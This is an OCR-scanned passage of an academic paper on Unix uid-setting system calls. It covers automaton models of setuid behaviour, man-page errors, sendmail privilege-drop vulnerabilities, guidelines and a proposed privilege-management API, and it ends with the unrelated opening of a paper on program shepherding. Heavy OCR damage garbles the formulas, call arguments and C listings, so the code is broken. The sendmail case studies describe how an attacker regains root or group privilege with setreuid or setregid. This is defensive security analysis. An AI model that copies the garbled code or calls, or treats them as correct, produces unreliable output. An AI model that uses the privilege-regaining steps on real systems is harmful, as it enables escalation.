does, too. 
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Figure 4: Three finite state automata describing the setuid system call in Linux, Solaris, and FreeBSD, respectively. 
Ellipses represent states of the FSA, where a notation like “R=1,E=0,S=1” indicates that euid = 0 and ruid = suid # 0. 
Each transition is labelled with the system call it corresponds to. To avoid cluttering the diagram, we omit the error 
states and (in Linux) the capability bits that otherwise would appear in our deduced model. 
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Figure 5: Three finite state automata describing the sefeuid, setreuid, setresuid system calls in Linux respectively. 
Ellipses represent states of the FSA, where a notation like “R=1],E=0,S=1” indicates that euid = 0 and ruid = suid # 0. 
Each transition is labelled with the system call it corresponds to. 
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Figure 6: A finite state automaton describing the setuid system call in Linux. This FSA considers only two distinct 
non-root user ID values « and y. Ellipses represent states of the FSA, where a notation like “R=x,E=y,S=x” indicates 
that euid = y and ruid = suid = x. Each transition ts labelled with the system call it corresponds to. 





Figure 7: A finite state automaton describing the setuid system call in Linux. This FSA considers three user ID values: 
the root user 1D and two distinct non-root user 1D values a and y. Ellipses represent states of the FSA, where a notation 
like “R=0,E=x,S=y” indicates that ruid = 0, euid = a2 and suid = y. Each transition is labelled with the system call it 


corresponds to. 


A critical requirement is that the operating system must 
behave deterministically given the equivalence class of 


the current state. More precisely, if s ~» t and 4’ oe UL 
where (s,¢c) =os (8’,c’), then we require t =s5 u. The 
intuition is that the behavior of the operating system will 
depend only on which equivalence class we are in, and 
not on any other information about the state. For in- 
stance, the behavior of the operating system cannot de- 
pend on any global variables that don’t appear in the state 
s; If it does, these global variables must be included into 
the statespace S. As another example, a system call 1m- 
plementation that attempts to allocate memory and re- 
turned an error code if this allocation fails will violate 
our requirement, because the success or failure of the 
memory allocation introduces non-determinism, which 
is prohibited. We can see that this requirement is non- 
trivial, and it must be verified by manual inspection of 
the source code before our algorithm in Figure 3 can be 
safely applicd; we will return to this issue later. 


Next, there are three requirements on the instantiation of 
the GETSTATE(), SETSTATE(), and GETALLSTATES() 
subroutines. First, the GETSTATE() routine must return 
(a representative for) the equivalence class of the current 
state of the operating system. Note that it is natural to 
represent equivalence classes internally by singling out 
a unique representative for cach equivalence class and 
using this value. Second, the SETSTATE() procedure 
with parameter s must somehow cause the operating sys- 
tem to enter a state s’ in the same equivalence class as 


s (the implementation may freely choose one). Finally, 
the GETALLSTATES() function must return a pair (S, C’) 
so that S contains at least one representative from each 
equivalence class of =s and so that every equivalence 
class of =Qs contains some element (s,c) with c € C. 


When these general requirements are satisfied, the 
BUILDMODEL() algorithm from Figure 3 will correctly 
infer a valid finite-state model for the underlying oper- 
ating system. The proof is easy. We will write [2] for 
the equivalence class containing :2:, e.g., [s] = {t € 
S:s =o th}. Ifs , ¢ appears in the final FSA out- 
put by BUILDMODEL(), then there must have been a 
step at which, for some s’ € [s], t’ € [t], and c’ with 
(s,c) =os (s’,c’), we executed c’ in state s’ at line 6 
and transitioned to state ¢’. (This follows from the cor- 
rectness of SETSTATE() and GETSTATE().) The latter 


means that s’ ~» t’, from which it follows that s ~9 ¢” for 
some t” € [t], since the OS respects =gs. Conversely, 


if s’ ~ ¢' for some s’,c’,t’, then by the correctness of 
GETALLSTATES(), there will be some s and c satisfy- 
ing (s.c) =os (s’,c’) so that we enter line 6 with s, c, 
and thanks to the deterministic nature of the operating 
system we will discover the transition s —> t for some 
t =s t’. Thus, the FSA output by BUILDMODEL() is 
exactly what it should be. Consequently, all that remains 
is to check that these requirements are satisfied by our 
instantiation of the schema. 
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We argue this next for the implementation shown tn 
Figure 3. Let U¢ denote the set of concrete uids (e.g., 
all 32-bit values), so that S = UxUxU. Say 
thata mapa : U — U's a valid substitution if it 
is bijective and fixes 0, i.e., 0(0) = 0. Each such 
substitution can be extended to one on S by working 
component-wise, i.e, a(r.c,8) = (a(1r),a(e),0(s)), 
and we can extend it to work on system calls by apply- 
ing the substitution to the arguments of the system call, 
eg., o(setreuid(r,c)) = setreuid(a(r).a(c)). 
We define our equivalence relation =s on S as fol- 
lows: two states s,s’ € S are equivalent if there is 
a valid substitution 0 such that o(s) = s’. Similarly, 
(s,c) =os (s’,c’) holds if there is some valid substitu- 
tion o so that o(s) = s’ and o(c) =c’. 


The correctness of GETSTATE() and SETSTATE() is im- 
mediate. Also, so long as 7 > 6, GETALLSTATES() 
is correct since the choice of uids uw ;,...,t,, 1S imma- 
terial: every pair (s,c) € S x C is equivalent to some 
pair (s’,c’) € S x C, since we can simply map thc first 
six non-zero uids in (s,C) to 2 ,...,. Ug respectively, and 
there can be at most six non-zero uids in (s,c). Actu- 
ally, we can sec that the algorithm in Figure 3 comes 
from a finer partition than that given by =os: for exam- 
ple, (a1, U1, Uz) and (%2, 22,2) are unnecessarily dis- 
tinguished. This causes no hann to the correctness of the 
result, and only unnecessarily increases the size of the 
resulting FSA. We gave the variant shown in Figure 3 
because tt ts simpler to present, but in practice our tm- 
plementation does use the coarser relation =3s. 


All that remains to check ts that the operating system re- 
spects and behaves deterministically with respect to this 
equivalence class. We verify this by manual inspection of 
the kernel sources, which shows that in Linux, FreeBSD, 
and Solaris the only operations that the uid-setting sys- 
tem calls perform on user IDs are equality testing of two 
user [Ds, comparison to zero, copying one user ID to an- 
other, and setting a user ID to zero. Moreover, the oper- 
ating system behavior does not depend on anything else, 
with one exception: Linux depends on whether the SE- 
TUID capability is enabled for the process, so on Linux 
we add an extra bit to each state indicating whether this 
capability is enabled. Thus, our verification task amounts 
to checking that user IDs are treated as an abstract data 
type with only four operations (equality testing, compar- 
ison to zero, and so on) and that the side effiects and re- 
sults of the system call do not depend on anything outside 
the state S. In our experience, verifying that the operat- 
ing system satisfies these conditions is much easier than 
fully understanding tts behavior, as the former is an al- 
most purely mechanical process. 
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This completes our justification for the correctness of our 
method for extracting a formal model to capture the be- 
havior of the operating system. 


6.4 Applications 


The resulting formal model has many applications. We 
have already discussed in Section 5 the semantics of the 
setuid system calls and pointed out pitfalls; this relied 
heavily on the FSA formal model. Next, we will dis- 
cuss several additional applications: verifying documen- 
tation and checking conformance with informal specifi- 
cations; identifying cross-platform semantic differences 
that might indicate potential portability issues; detecting 
inconsistency in the handling of user [Ds within an OS 
kernel; and checking the proper usage of the uid-setting 
system calls in programs automatically. 


6.4.1 Verifying Accuracy of Manual Pages 


Manual pages are the primary source of information for 
Unix programmers, but unfortunately they are often in- 
complete or wrong. FSAs are useful in verifying the ac- 
curacy of manual pages of uld-setting system calls. For 
each call, if its FSA is small and its description in man- 
ual pages is simple, we check if each transition in the 
FSA agrees with the description by hand. Otherwise, we 
build another FSA based on the description and compare 
this FSA to the original FSA built by simulation. Differ- 
ences between the two FSAs indicate discrepancies be- 
tween the behavior of the system call and its description 
in manual pages. 


The following are a few examples of problematic docu- 
mentation that we have found using our formal model: 


e The man page of setuid in Redhat Linux 7.2 fails to 
mention the SETUID capability, which affects the 
behavior of setuid. 


e The man page of setreuid in FreeBSD 4.4 says: 


Unprivileged users may change the real 
user ID to the effective user ID and vice- 
versa; only the super-user may make 
other changes. 


However, this ts mcorrect. Swapping the real uid 
and effective uid does not always succeed, such as 
when ruid=100, eutd=200, suid=100, contrary to 
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what the man page suggests. The correct descrip- 
tion 1s “Unprivileged users may change the real user 
ID to the real uid or saved uid, and change the effec- 
tive uld to the real uid, effective uid, or saved uid.” 


e The man page of setgid in Redhat Linux 7.2 says 


The setgid function checks the effective 
gid of the caller and 1f it is the superuser, 
all process related group ID's are set to 
gid. 


In reality, the effective uid 1s checked instead of the 
effective gid. 


6.4.2 Identifying Implementation Differences 


Since various Unix systems implement the uid-setting 
system calls differently, it is difficult to identify their se- 
mantic differences via reading kernel sources. We can 
solve this problem by creating an FSA of the user ID 
model in each Unix system and contrasting the FSAs. 
For example, Figure 4 shows clearly that the semantics 
of setuid in Solaris is different from that in FreeBSD and 
Linux. 


The approach can be further formalized by taking the 
symmetric difference of FSAs. In particular, if W, Af’ 
are two FSAs for two Unix platforms with the same state- 
space, we can find portability issues as follows. Compute 
the parallel composition AJ x A4’, whose states are pairs 
(s, 5’) with s a state from Af and s’ a state from M/’. 
Then, mark as an accepting state of Ad x M’ any pair 
(s, s’) where s 4 s’. Now any execution trace that starts 
at anon-accepting state and eventually reaches an accept- 
ing state indicates a sequence of system calls whose se- 
mantics 1s not the same on both operating systems. This 
indicates a potential portability issue, and all such differ- 
ences can be computed via a simple reachability compu- 
tation (e.g., depth-first search). 


6.4.3 Detecting Inconsistency within an OS Kernel 


An OS kernel maintains many mvariants which both the 
kernel itself and many application programs depend on. 
Violation of the invariants may cause vulnerabilities in 
both the OS and applications. Therefore, it 1s important 
to detect any violation of the invariants. 


The Linux kernel tries to maintain the invariant that the 
fsuid is zero only if at least one of the real uid, effective 


NOOO 


uld, or saved uid is zero. To verify this invariant, we ex- 
tend the formal model of user 1!Ds with the fsuid and au- 
tomatically create an FSA of the model on Linux. From 
the FSA, we discovered that the invariant does not always 
hold, because the state where fsuwid = 0 and ruid # 0, 
euid # (), suid # 0 1s reachable. For example, the call 
sequence In Figure 2 will violate the invariant. The prob- 
lem results from an inconsistency in the handling of the 


fsuid in the uid-setting system calls. While every suc- 


cessful setuid and setreuid call sets the fsuid to the ef- 
fective uid, a successful setresuid call will fatl to do the 
same if the effective uid does not change during the call. 
The problem has been confirmed by the Linux commu- 
nity. 


6.4.4 Checking Proper Usage of Uid-setting System 
Calls 


The formal model is also useful in checking proper us- 
age of uid-setting system calls in programs. We model 
a program as an FSA, called the program FSA, which 
represents each program point as a state and each state- 
ment as a transition. We call the FSA describing the user 
ID model a model FSA. By composing the program FSA 
with the model FSA, we get a composite FSA. Each state 
in the composite FSA is a pair (s, 5’) of one state s from 
the model FSA (representing a unique combination of 
the values in the real uid, effective uid, and saved uid) 
and one state s’ from the program FSA (representing a 
program point). Thus, a reachable state (s,s") in the 
composite FSA tndicates that the state s in the model 
FSA is reachable at the program point s’. Figure 8(b) 
shows the program FSA of the program in Figure 8&(a). 
Figure 8(c) shows the composite FSA obtained by com- 
posing the model FSA in 4(a) with the program FSA in 
Figure 8(b). 


This method is useful for checking proper usage of uid- 
setting system calls in programs, such as: 


e Cana uld-setting system call fail? If any error state 
in the model FSA 1s reachable at some program 
point, it shows that a uid-setting system call may 
fail there. 


e Can a program fail to drop privilege? If any state 
that contains a privileged user 1D in the model FSA 
is reachable at a program point where the program 
should be unprivileged, 1t shows that the program 
may have failed to drop privilege at an earlier pro- 
gram point. 
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// ruid=1, euid=0, suid=0 
1: printf(“‘drop priv”); 
:  setuid(1); 
3: execl(‘‘/bin/sh’’, “sh” ,NULL):; 


(a) A program segment 


- . printf() -———.. setuid( 1), ——-_~ 


(b) Program FSA of the program in Figure 8(a) 





print f() 






Line 2 
R=].E=0.S=0 


(c) Composite FSA of the model FSA in Figure 4(a) and 
the program FSA in Figure 8(a) 


Figure 8: Composing a model FSA with a program FSA 


e Which part of the program may run with privilege? 
To answer this question, we first identify all states 
that contain a privileged user ID in the model FSA. 
Then, we identify all program points where any of 
those states are reachable. The program may run 
with privilege at these program points. 


A full discussion ts out of the scope of this paper, and 
we refer the interested reader to a companion paper for 
details [11]. 


65 Advantages 


The formal model holds several advantages over trying 
to understand the behavior of the kernel through man- 
ual code inspection. First, our formal model makes it 
easier to describe the properties of the uid-setting sys- 
tem calls. While we still need to read kernel code to 
determine the kernel variables that affect the uid-setting 
system calls, the majority of the workload, determining 
their actions, 1s done automatically by simulation. Sec- 
ond, the formal model is reliable because it ts created 
from the same environment where application programs 
run. The formal model has corrected several mistakes 
in the user ID model that we created manually. Third, 
the formal model is useful in identifying semantic di ffer- 
ences of uld-setting system calls among Unix systems. 
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Fourth, the formal model is useful in detecting inconsis- 
tency in an OS kernel. Finally, the formal model ts use- 
ful in checking proper usage of uid-setting system calls 
In programs automatically. 


7 Case Studies of Security Vulnerability 


Misuses of uid-setting system calls have caused many se- 
curity vulnerabilities, which are good lessons in learning 
the proper usage of the system calls. We will analyze two 
such incidents in older versions of sendmail. 


Sendmail [12] is a commonly used Mail Transmission 
Agent(MTA). It runs in two modes: (1) as a daemon that 
listens on port 25 (SMTP), and (2) viaa Mail User Agent 
to submit mail to the mail queue. In the first case, all 
three user IDs of the sendmail process are typically zero, 
as it is run by the superuser soot in the boot process. In 
the second case, however, sendmail ts run by an ordinary 
user. As the mail queue is not world writable, sendmail 
requires privilege to access the mail queue. 


7.1 Misuse of Setuid 


Next we describe a vulnerability that was caused by a 
misuse of setuid [13]. Sendmai! 8.10.! installed the 
sendmailbinary as a Setuid-root executable. When it was 
executed by a non-root user, the real uid of the process 
was the non-root user while both the effective uid and 
saved uld were zero. This gave sendmail permission to 
write to the mail queue since tts effective uid was zero. 
To minimize risks in the event that an attacker takes over 
sendmail and executes malicious code with root pnvi- 
lege, sendmail permanently dropped root privilege be- 
fore doing potentially dangerous operations requested by 
an user. This was done by calling setuid(getuid()), which 
sets all three user IDs to the non-root user. 


POSIX specifies that tf a process has appropriate priv- 
ileges, setuid(newuid) sets all three user IDs to newuid; 
otherwise, setiutid(newuid) only sets the effective uid to 
newuid (if newuid 1s equal to the real uid or saved uid). 
In Linux, appropriate privileges are carried by the SE- 
TUID capability. Furthennore, after any uid-setting sys- 
tem call, the Linux kemel sets or clears the SETU/D 
capability bit, tf necessary, to establish a simple post- 
condition: the SETU/D capability should be set if and 
only if the effective uid is zero. 
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A malicious non-root 


user executes sendinail 


A nomial non-root user 
executes sendmail 






ruid!=0, euid=suid=0 tuid!=0, emd=suid=0 


SETUID-capability=1 


sendmail calls 
| setuid (getuid()) 


ruid=euid=suid!=0 
\, SETUID-capability=0 


sendmail executes 


SETUID-capability=0 ) 


sendmail calls 
setuid (getuid(}) 
















ruid=euid!=0, suid=0 
SE TUID-capability=0 
The malicious user 
takes over 
sendmail and executes 
setreuid(-1,0) 





the rest of code 





ruid!=0, euld=suid=0 


The malicious user 
executes code 
with root privilege 


(b) An execution of send- 
mail by an attacker 


(a) A normal execution 
of sendmail by a non-root 
user 


Figure 9: A vulnerability 1n sendmail due to a misuse 
of setuid. Note the failure: the programmer assumed 
that setuid(getuid()) would always succeed in dropping 
all privilege, but by disabling the SETUID capability, the 
attacker is able to violate that expectation. 


However, prior to version 2.2.16 of Linux, there was a 
bug in the kernel that made tt possible for a process to 
clear its SETUID capability bit even when tts effective 
uld was zero. In this case, calling setuid(getuid()) only 
modified the effective uid, and under these conditions, 
sendmail would only drop root privilege from its effec- 
tive uid but not its saved uid. Consequently, any mali- 
cious local user who could take over sendmail (e.g., with 
a buffer overrun attack) could restore root privilege in the 
effective uid by calling setreuid(-/, 0). In other words, an 
attacker could ensure sendmail’s attempt to drop all priv- 
ileges would fail, thereby raising the risk of a root attack 
on sendmail. Figure 9 illustrates the vulnerability. 


The vulnerability was caused by the overloaded seman- 
tics of setuid. Depending on whether a process has the 
SETUID capability, setuid sets one user ID or all three 
user IDs, but it returns a success code in both cases. The 
vulnerability can be avoided by replacing setuid(newuid) 
with setresuid(newuid, newuid, newuid) if available, or 
with serreuid(newuid, newuid) otherwise. 


Interaction between User IDs and Group 
IDs 


dene 


Another vulnerability in Sendmail was caused by an in- 
teraction betwecn the user IDs and the group IDs [14]. 
To further reduce the risk from a malicious user taking 
over sendmail, as of version 8.12.0 Sendmail no longer 
installed sendmail as a setuid-root program. To give 
sendmail permission to write to the mail queue, the mail 
queue was configured to be writable by group smmsp, 
and sendmail was installed as setgid-smmsp. Therefore, 
when sendmail was executed by a non-root user, the real 
gid of the process was the primary group of the user, but 
the effective gid and saved gid were smmsp. 


For the same reason that it permanently dropped root 
privilege in previous versions, now sendmail penna- 
nently dropped smmsp group privilege before executing 
potentially malicious directives from a user. Similar to 
the use of sefuid(getuid()) to permanently drop root priv- 
ilege, sendmail called setgid(getgid()) to permanently 
drop smmsp group privilege. However, since sendmail 
no longer had appro priate privileges because its effective 
uid was not zero anymore, setgid(getgid()) only dropped 
the privileged group ID smms p from the effective gid but 
left it in the saved gid. Consequently, any malicious user 
who found some way to take over sendmail (e.g., by a 
buffer overrun) could restore the smmsp group privilege 
in the effective gid by calling setgid(-/, smmsp). This 1s 
illustrated in Figure 10. 


The vulnerability was caused by an interaction between 
the user IDs and group IDs since changing user IDs may 
affect the property of setgid. To avoid the vulnerabil- 
ity, we can replace setgid(newgid) with setresgid(newgid, 
newgid, newgid) if available, or setregid(newgid, newgid) 
otherwise. The vulnerability also shows that if both user 
IDs and group IDs are to be modified, the modification 
should follow a specific order (Section 8.1.2). 


8 Guidelines 


We provide guidelines on the proper usage of the uid- 
setting system calls. First, we discuss general guidelines 
that apply to all setuid programs. Then, we focus on ap- 
plications that use the uld-setting system calls in a spe- 
cific way. We propose a high-level API for these appli- 
cations to manage their privileges. The API 1s easier to 
understand and to use than the Unix API. 
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A user A user 
executes sendmail executes sendmail 
ruid=euid=suid!=0 ruid=euid=suid!=0 
rgid!=snunsp rgid!=snuns p 


egid=spid=smmnis p egid=sgid=siinis p 





sendmail calls sendmail calls 
setgid(getgid()) setgid(getgid()) 





ruid=euid=suid!=0 
Tgid=egid!=snuns p 


ruid=euid=suid !=0 
rgid=egid=sgid!=snuusp 
(Wrong assumption) 


; sendmail executes 






apid=sieyasp 





An attacker 
takes over sendmail 


and executes 
setregid({(-1, smmsp) 


the rest of code 


ruid=euid=suid'!=0 — 


rgid!=sinmsp 
evid=spid=smmsp 





The attacker 
executes code with 
smmsp group privilege 


(b) Real execution of send- 
mail by a malicious user 


(a) The  programmer’s 
mental model of an 
expected cxecution trace 


Figure 10: A vulnerability in sendmail due to interac- 
tion between user IDs and group IDs. The failure occurs 
because the programmer has overlooked that she has al- 
ready dropped root privilege and hence no longer has the 
appropriate privileges to drop all group privileges in the 
setgid call. 


8.1 General Guidelines 


8.1.1 Selecting an Appropriate System Call 


Since setresuid has a clear semantics and 1s able to set 
each user ID individually, it should always be used if 
available. Otherwise, to set only the effiective uid, se- 
feuid(new_euid) should be used; to set all three user IDs, 
setreuid(new_uid, new_uid) should be used. 


setuid should be avoided because its overloaded seman- 
tics and inconsistent implementation in different Unix 
systems may cause confusion and security vulnerabilities 
for the unwary programmer. As described 1n Section 5.2, 
in Linux or Solaris, if the effiective user ID is zero, se- 
tutd(newutd) sets all three user [Ds to newutd; otherwise, 
it sets only the effective user ID to newuid. On the other 
hand, in FreeBSD setuid(newuid) sets all three user IDs 
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to newuid regardless of the effective user ID. We envision 
the following scenarios where setuid may be misused: 


e If a setuid-root program temporarily drops root 
privilege with seteuid(getuid()) and later calls se- 
tuid(getuid()) with the intention of permanently 
dropping all root privileges, the program does not 
get the intended behavior on Linux or Solaris, be- 
cause the saved user ID remains root. (However, 
the prograin does receive the intended behavior on 
FreeBSD.) 


e Also on Linux or Solaris, in a setuid-root pro- 
gram, calling setuid(getuid()) permanently drops 
root privileges; however, in a setuid-non-root pro- 
grain (e.g., a prograin that 1s setuid-Alice where Al- 
ice is a non-root user), calling setuid(getuid()) will 
not permanently drop Alice’s privileges, because 
the saved user ID remains Alice. This 1s particu- 
larly confusing, because the way setuid-root pro- 
grams permanently drop privileges does not work 
in setuid-non-root programs on Linux or Solaris. 


8.1.2. Obeying the Proper Order of System Calls 


The POSI]X-defined appropriate privileges affect the ac- 
tions of both system calls that set user IDs and that set 
group IDs. Since often appropriate privileges are car- 
ried by the effective uid, a program should drop group 
privileges before dropping user privileges permanently. 
Otherwise, after permanently dropping user privileges, 
the program may be unable to permanently drop group 
privileges. For example, the program in Figure | I (a) 1s 
able to permanently drop both user and group privileges 
because it calls setgid before setuid. In contrast, since 
the program in Figure | 1(b) calls setuid before setgid, it 
fails to drop group privileges permanently. 


8.1.3 Verifying Proper Execution of System Calls 


Since the semantics of the uld-setting system calls may 
change, e.g., when the kernel changes or when an appli- 
cation is ported to a different Untx system, it 1s impera- 
tive to verify successful execution of these system calls. 


Checking Return Codes _ The uid-setting system calls 
return zero on success and non-zero on failure. A process 
should check the return codes to verify the successful ex- 
ecution of these calls. This is especially important when 
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ruid=100, euid=suid=0 ruid=] 00, euid=suid=0 
rzid=200, egid=sgid=0 rgid=200, egid=sgid=0 


setgid(getgid(}) | secuiatgeruiat) 


ruid=100, ewid=suid=0 ruid=euid=surd=100 
rgid=egid=sgid=200 —rgid=200, egid=sgid=0 
| setgiaigetgia()) 








| setuid (getuid(}) 






rgid=epid=200, sgid=0 


rgid=egid=sgid=200 


ruid=euid=suid=100 ( rind=euid=suid=100 





fails to 


(b) A’ program 
drop group privileges per- 
manently because it calls 
setuid(getuid() betore set- 
vid(getgidy) 


(a) A program correctly 
drops both user and group 
privileges permanently by 
calling setgid(getgid()) be- 
fore setuid(getuid) 


Figure 11: Proper order of dropping user and group priv- 
i\leges. Figure (a), on the left, shows proper usage; figure 
(b) shows what can go wrong if one gets the order back- 
wards. 


a process permanently drops privilege, since such an ac- 
tion usually precedes operations that, if executed with 
privilege, may compromise the system. 


Be aware that the Linux-specific set/suid system call re- 
turns the previous fsuid from before the call and does not 
return any error message to the caller on fatlure. This is 
One motivation for our next guideline. 


Verifying User IDs However, checking return codes 
may be insufficient for utd-setting system calls. For ex- 
ample, in Linux and Solaris, depending on the effective 
uld, sefuid(newuid) may either (1) set all three user IDs 
(if the effective uid is zero), or (2) set only the effiective 
uid (if it is non-zero), but the system call returns the same 
success code in both cases. The return code does not in- 
dicate to the process which case has happened, and thus 
checking return codes is not enough to guarantee suc- 
cessful completion of the uid operation in some cases. 
Moreover, checking the return code is infeasible for the 
setfsuid call since it does not return any error message on 
failure. 


Therefore, after each uid-setting system call, a program 
should verify that each of its user IDs are as expected. A 
process may call getresuid to check all three user IDs if it 
is available, as in Linux and FreeBSD, or use the /proc 
filesystem on Solaris. Otherwise, the process may call 
getuid and geteuid to check the real uid and effective uid, 
if none of these are available. In Linux, a process must 


i drop privilege 
setuid(getuid()); 


// verify the process cannot restore privilege 
i (Seo reuLe iat Ou S=0)) 
return ERROR; 


Figure 12: An example of a program that verifies that 
it has properly dropped root privileges. The verification 
is achieved by checking that unpermitted uid-setting sys- 
tem calls will fail. Note that a full implementation should 
also check the return code from setuid and verify that all 
three uscr IDs are as expected after the call to setuid. 


examine its fsuid via the /proc filesystem since Linux 
does not offier a getfsuid call. 


Verifying Failures Once an attacker takes control of a 
process, the attacker may insert arbitrary code into the 
process. Therefore, for further assurance on security, 
the process should ensure that all unpermitted uid-setting 
system calls will fail. For example, after dropping privi- 
lege permanently, the process should verify that attempts 
to restore privilege will fail. This is shown in Figure 12. 


8.2 An Improved API for Privilege Manage- 
ment 


Although the general guidelines in Section 8.1 can help 
programmers to use the uid-setting system calls more se- 
curcly, programmers still have to grapple with the com- 
plex semantics of the uid-setting system calls and their 
differences among Unix systems. The complexity is 
paitly due to a mismatch between the low-level seman- 
tics of the system calls, which describes how to modify 
the user IDs, and the high-level goals of the programmer, 
which represent a policy for when the application should 
run with privilege. We propose to resolve this tension by 
introducing an API that is better matched to the needs of 
application programmers. 


8.2.1 Proposed API 


In many applications, privilege management can typI- 
cally be broken down into the following tasks: 


e Drop privilege temporarily, in a way that allows the 
privilege to be restored later. 
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drop_priv_temp() 


unpriv_temp 
fv 4 
( unpriv_perm ), 
XK J 


Figure 13: An FSA showing the behavior of a process 
when calling the functions of the new API. 


drop_priv_perm() 


e Drop privilege permanently, so that it can never be 
restored. 


e Restore privilege. 


We propose a new API that offers the ability to perform 
each of these tasks directly and easily. The API contains 
three functions: 


e drop_privtemp(new_uid): Drop privilege temporar- 
ily. Move the privileged user ID from the effective 
uid to the saved uid. Assign new-ztid to the effective 
uid. 


e drop_priv_perm(new_uid): Drop privilege pernia- 
nently. Assign new_wid to all the real uid, effective 
uid, and saved uid. 


e restore_priv: Restore privilege. Copy the privileged 
user ID from the saved uid to the effective uid. 


By raising the level of abstraction, we free programmers 
to think more about their desired security policy and less 
about the mechanism of implementing this policy. Fig- 
ure 13 illustrates the action of these functions pictorially 
with a simple state diagram. 


8.2.2. Implementation 


We implement the new API as wrapper functions to the 
uid-setting system calls. The implementation uses setre- 
suid if available since it has the clearest semantics and 
it is able to set each of the user IDs independently, as 
shown in Figure 14. If setresuid or its equivalent is not 
available, the implementation uses seteuid and setreutd, 
as shown in Figure 15. 
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int drop priv_temp(uid_t new_uid) 
{ 
if (setresuid(-1, new_uid, geteuid()) < 0) 
return ERROR. SYSCALL; 
Le \Geteuld()) lS cnew used) 
return, ERRORBSSYSCALL; 
return 0; 


int: drop: priv perm (uid t new. uid) 
Uidgr TulGd, eutd) suid; 
if (setresuid(new_uid, new_uid, new_uid) < 0) 
return. SRROE ws YSCALL; 


if (getresuid(&ruid, &euid, &Suid) < 0) 
return ERROR_SYSCALL; 
TE (rund = new uid" || -eurd -l=—new said. ||" 
suid != new_uid) 
return ERROR: SYSCALL; 
EE Ur: Oy 


1 
i 


int. restore=priv () 

int ruid, euid, suid; 

if (getresuid(&ruid, &euid, 
return ERROR4SYSCALL; 

1£f (setresuid(-1, suid, 
return ERROR_SYSCALL; 

Lt “(geteurd) T= surd) 
return ERRORssYSCALL; 

reeurn 


&Suid) < 0) 


=i) “<.0) 


Figure 14: A possible implementation of the high-level 
API for systems with setresuid. 


To use this implementation, an application must meet the 
following requirements: 


e When the process starts, its effective uid contains 
the privileged user ID. This is true in most circum- 
stances. When a process is run by a privileged user, 
all three user IDs contain the privileged user ID. If 
the process 1s run as a privileged user, i.e., its exe- 
cutable is setuid’ed to the privileged user and is run 
by an unprivileged user, both the effective uid and 
saved uid of the process contain the privilege user 
ID. 


e Ifthe privileged user ID ts not zero, then the unpriv- 
ileged user ID must be stored in the real uid when 
the process starts. This requirement enables the pro- 
cess to replace the privileged user ID in the effective 
uid with the unprivileged user ID in drop_priv_temp 
and drop_privperm. This is the case when a non- 
root user executes an executable that is setuid’ed 
to another non-root user. On the other hand, if the 
privileged user ID 1s zero, then there is no such re- 
quirement, since the process can set its user IDs to 
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uid_t priv _uidg 


int drop priv. temp (uid. ©. new_uid} 
{ 
int: old -eurd- = geteurd () ; 
// copy euid to suid 
if (setreuid(getuid(), old euid) 
return ERROR_SYSCALL; 
// set euid as new_uid 
if (seteuid(new_uid) < 0) 
return ERROR_SYSCALL; 
Lt (geteurd >). P= “new a1) 
return ERROR_SYSCALL; 
Priv uid.-= Old eu1d; 
return 0; 


int drop priv _perm(uid_t new_uid) 
uid_~ ‘suid; 
if (setreuid(new_uid, new_uid) 
return ERROR_SYSCALL; 
// OS specific way of reading suid 
suid = read_suid_from_proc_filesystem() ; 


= 10n) 


a0) 


if (getuid() != new_uid || 
geteuid() != new_uid || 
suid != new_uid) 
return ERROR_SYSCALL; 
return: 07 


int restore priv() 
LE (seteuid (pray swid): “< <0) 
return ERROR_SYSCALL; 
DE. Ageteuid( jot] privy aid) 
return ERROR_SYSCALL; 
return 0; 


Figure 15: A possible implementation of the high-level 
API for systems without sedresuid. 


arbitrary values. 


e The process does not make any uld-setting system 
calls that change any of the three user [Ds. Such a 
call may cause the process to enter a state not cov- 
ered by the FSA in Figure 13, on which the high- 
level API and the implementation are based. 


The implementation has the following beneficial proper- 
ties: 


e It does not affect the real uid. 


e It guarantees that all transitions in Figure 13 suc- 
ceed, 


e It verifies thatthe user 1Ds are as expected after each 
uid-setting system call. 


e It does the right thing even in cases where root is not 
involved, 1.e., where the privileged user ID 1s not the 
superuser. 


We can extend this basic implementation to include 
stronger safeguards against programming errors or OS 
inconsistency. To prevent a program from restoring a 
wrong privilege, we can let the function restore_priv take 
a parameter and check that the parameter matches the 
privilege stored 1n the saved user |D (Figure 14) orinthe 
variable priv_uid (Figure 15). Another improvement is to 
let the function drop_priv_perm verify that an attempt to 
regain privilege will fail, as described in Section 8.1.3. 


8.2.3. Evaluation 


To evaluate the high-level API, we replaced every uid- 
setting system call in OpenSSH 2.5.2 with functions 
from the new API, OpenSSH contains fifteen uid-setting 
system calls in eight tasks. Of the eight tasks, four are 
to drop privilege permanently, two are to drop privilege 
temporarily, and two are to restore privilege. We are able 
to implement all these tasks with the new API. 


One known limitation of our API is that it does not ad- 
dress group privileges. We leave this for future work. 


9 Future Work 


We plan to study how the uid-setting system calls affect 
other properties ofa process, such as the ability to receive 
signals and to dump cores. We may also study how to 
extend the formial models for multi-threaded programs. 
Topics to investigate include in-kernel races and how the 
user IDs are inherited during the creation of new threads 
in different Unix systems. 


10 Conclusion 


We have studied the proper usage of the uid-setting sys- 
tem calls by two approaches. First, we documented the 
semantics of the uld-setting system calls in three major 
Unix systems (Linux, Solaris, and FreeBSD) and identi- 
fied their differences. We then showed how to fonnalize 
this problem using formal methods, and we proposed a 
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new algorithm for constructing a formal model of the se- 
mantics of the uid-setting system calls. Using the result- 
ing formal model, we identified semantic differences of 
the uid-setting system calls among Untx systems and dis- 
covered inconsistency within an OS kernel. Finally, we 
provided guidelines for proper usage of the uid-setting 
system calls and proposed a high-level API for manag- 
ing user IDs that is more comprehensible, usable, and 
portable than the usual Unix API. 
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Abstract 


We introduce program shepherding, a method for moni- 
toring control flow transfers during program execution to 
enforce a security policy. Program shepherding provides 
three techniques as building blocks for security policies. 
First, shepherding can restrict execution privileges on 
the basis of code origins. This distinction can ensure 
that malicious code masquerading as data Is never exe- 
cuted, thwarting a large class of security attacks. Sec- 
ond, shepherding can restrict control transfers based on 
instruction class, source, and target. For example, shep- 
herding can forbid execution of shared library code ex- 
cept through declared entry points, and can ensure that a 
return instruction only targets the instruction after a call. 
Finally, shepherding guarantees that sandboxing checks 
placed around any type of program operation will never 
be bypassed. We have implemented these capabilities 
efficiently in a runtime system with minimal or no per- 
formance penalties. This system operates on unmodified 
native binaries, requires no special hardware or operat- 
ing system support, and runs on existing [A-32 machines 
under both Linux and Windows. 


1 Introduction 


The goal of most security attacks ts to gain unauthorized 
access to a computer system by taking control of a vul- 
nerable privileged program. This is done by exploiting 
bugs that allow overwriting stored program addresses 
with pointers to malicious code. Today’s most prevalent 
